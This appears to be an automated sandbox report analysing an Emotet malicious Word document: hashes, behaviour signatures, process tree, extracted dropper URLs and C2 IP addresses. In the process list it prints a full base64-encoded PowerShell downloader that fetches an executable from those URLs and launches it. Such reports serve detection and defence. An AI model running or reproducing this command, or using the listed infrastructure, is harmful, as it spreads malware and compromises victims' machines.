Analysis

  • max time kernel
    138s
  • max time network
    138s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    11/08/2020, 08:12

General

  • Target
    emotet_e3_b62a1e1adccc08cc8064309a5d7feb151348e3b1de2175cff71db2b252db5336_2020-08-11__081116._doc.doc
  • Size 226KB
  • Sample200811-49xmpsdyee
  • SHA256 b62a1e1adccc08cc8064309a5d7feb151348e3b1de2175cff71db2b252db5336
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    http://stoutarc.com/assets/hoTVnj/

  • exe.dropper

    http://soundaffairs.net/logs/yzht756773/

  • exe.dropper

    http://sukhumvithomes.com/sathorncondos.com/N6dWb36edu55270418/

  • exe.dropper

    http://adopteerightslaw.org/yaook/ran/

  • exe.dropper

    http://liveheart.co.jp/img/qyH/

Extracted

Family
  • emotet

C2
  • 202.5.47.71:80

  • 139.99.157.213:8080

  • 188.166.25.84:8080

  • 31.146.61.34:80

  • 115.165.3.213:80

  • 177.144.130.105:443

  • 153.220.182.49:80

  • 203.153.216.182:7080

  • 192.210.217.94:8080

  • 105.209.235.113:8080

  • 50.116.78.109:8080

  • 182.187.139.200:8080

  • 157.7.164.178:8081

  • 74.208.173.91:8080

  • 187.64.128.197:80

  • 139.59.12.63:8080

  • 97.104.107.190:80

  • 114.173.201.110:80

  • 181.143.101.19:8080

  • 177.37.81.212:443

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 3 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 9 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 13 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_b62a1e1adccc08cc8064309a5d7feb151348e3b1de2175cff71db2b252db5336_2020-08-11__081116._doc.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3056
  • C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
    powersheLL -e JABGAFkASwBCAFcAeQBuAHQAPQAnAFUAQQBLAE8AUABxAGIAeAAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABDAFUAUgBpAHQAYAB5AHAAUgBvAHQATwBgAEMAYABPAGwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABaAE4ASgBBAEMAYgB1AG4AIAA9ACAAJwA4ADgAMgAnADsAJABRAEIAUABJAFUAaQBtAGYAPQAnAEcATwBXAEYASAB5AGYAZAAnADsAJABHAEgATABOAE0AcgBuAGkAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFoATgBKAEEAQwBiAHUAbgArACcALgBlAHgAZQAnADsAJABGAEsATgBaAFQAcQBzAGkAPQAnAEwAWABUAFoARgBlAGYAeAAnADsAJABBAEYAWgBaAFMAZwBlAGUAPQAmACgAJwBuAGUAdwAtAG8AJwArACcAYgAnACsAJwBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBFAEIAQwBsAEkAZQBOAHQAOwAkAEQATwBIAFYAQwBrAG0AcwA9ACcAaAB0AHQAcAA6AC8ALwBzAHQAbwB1AHQAYQByAGMALgBjAG8AbQAvAGEAcwBzAGUAdABzAC8AaABvAFQAVgBuAGoALwAqAGgAdAB0AHAAOgAvAC8AcwBvAHUAbgBkAGEAZgBmAGEAaQByAHMALgBuAGUAdAAvAGwAbwBnAHMALwB5AHoAaAB0ADcANQA2ADcANwAzAC8AKgBoAHQAdABwADoALwAvAHMAdQBrAGgAdQBtAHYAaQB0AGgAbwBtAGUAcwAuAGMAbwBtAC8AcwBhAHQAaABvAHIAbgBjAG8AbgBkAG8AcwAuAGMAbwBtAC8ATgA2AGQAVwBiADMANgBlAGQAdQA1ADUAMgA3ADAANAAxADgALwAqAGgAdAB0AHAAOgAvAC8AYQBkAG8AcAB0AGUAZQByAGkAZwBoAHQAcwBsAGEAdwAuAG8AcgBnAC8AeQBhAG8AbwBrAC8AcgBhAG4ALwAqAGgAdAB0AHAAOgAvAC8AbABpAHYAZQBoAGUAYQByAHQALgBjAG8ALgBqAHAALwBpAG0AZwAvAHEAeQBIAC8AJwAuACIAcwBgAFAATABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABQAFAAUQBTAEsAcwBnAG0APQAnAFgAVQBEAFAASgBuAGcAcgAnADsAZgBvAHIAZQBhAGMAaAAoACQASABRAFkAQQBVAGwAawBiACAAaQBuACAAJABEAE8ASABWAEMAawBtAHMAKQB7AHQAcgB5AHsAJABBAEYAWgBaAFMAZwBlAGUALgAiAEQAbwBXAG4ATABvAGEAYABEAEYAYABpAGwAZQAiACgAJABIAFEAWQBBAFUAbABrAGIALAAgACQARwBIAEwATgBNAHIAbgBpACkAOwAkAEIAUQBJAFoAUABsAHEAYQA9ACcATwBIAEoAUgBBAGoAbgBwACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJAHQAJwArACcAZQBtACcAKQAgACQARwBIAEwATgBNAHIAbgBpACkALgAiAGwARQBOAEcAYABUAGgAIgAgAC0AZwBlACAAMwAwADAANQA2ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAHIAZQBgAEEAVABlACIAKAAkAEcASABMAE4ATQByAG4AaQApADsAJABNAEEAVQBUAEgAYwB1AG4APQAnAFYATwBGAFQATgBzAGQAaAAnADsAYgByAGUAYQBrADsAJABQAFoARgBDAEoAbABzAGUAPQAnAEcAVQBUAEMAVABhAGMAZQAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABIAFcAQgBXAFYAeABiAGYAPQAnAEkATwBWAFkAVwBiAGwAegAnAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3844
  • C:\Users\Admin\882.exe
    C:\Users\Admin\882.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2080
    • C:\Windows\SysWOW64\wshbth\htui.exe
      "C:\Windows\SysWOW64\wshbth\htui.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:3668

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/2080-13-0x0000000002260000-0x000000000226C000-memory.dmp

        memory/3056-0-0x00007FFFE13A0000-0x00007FFFE1A66000-memory.dmp

        memory/3056-4-0x00000287C7BE4000-0x00000287C7BE7000-memory.dmp

        memory/3668-16-0x00000000006F0000-0x00000000006FC000-memory.dmp

        memory/3844-8-0x00007FFFD9270000-0x00007FFFD9C5C000-memory.dmp

        memory/3844-9-0x0000022AA91E0000-0x0000022AA91E1000-memory.dmp

        memory/3844-10-0x0000022AA9490000-0x0000022AA9491000-memory.dmp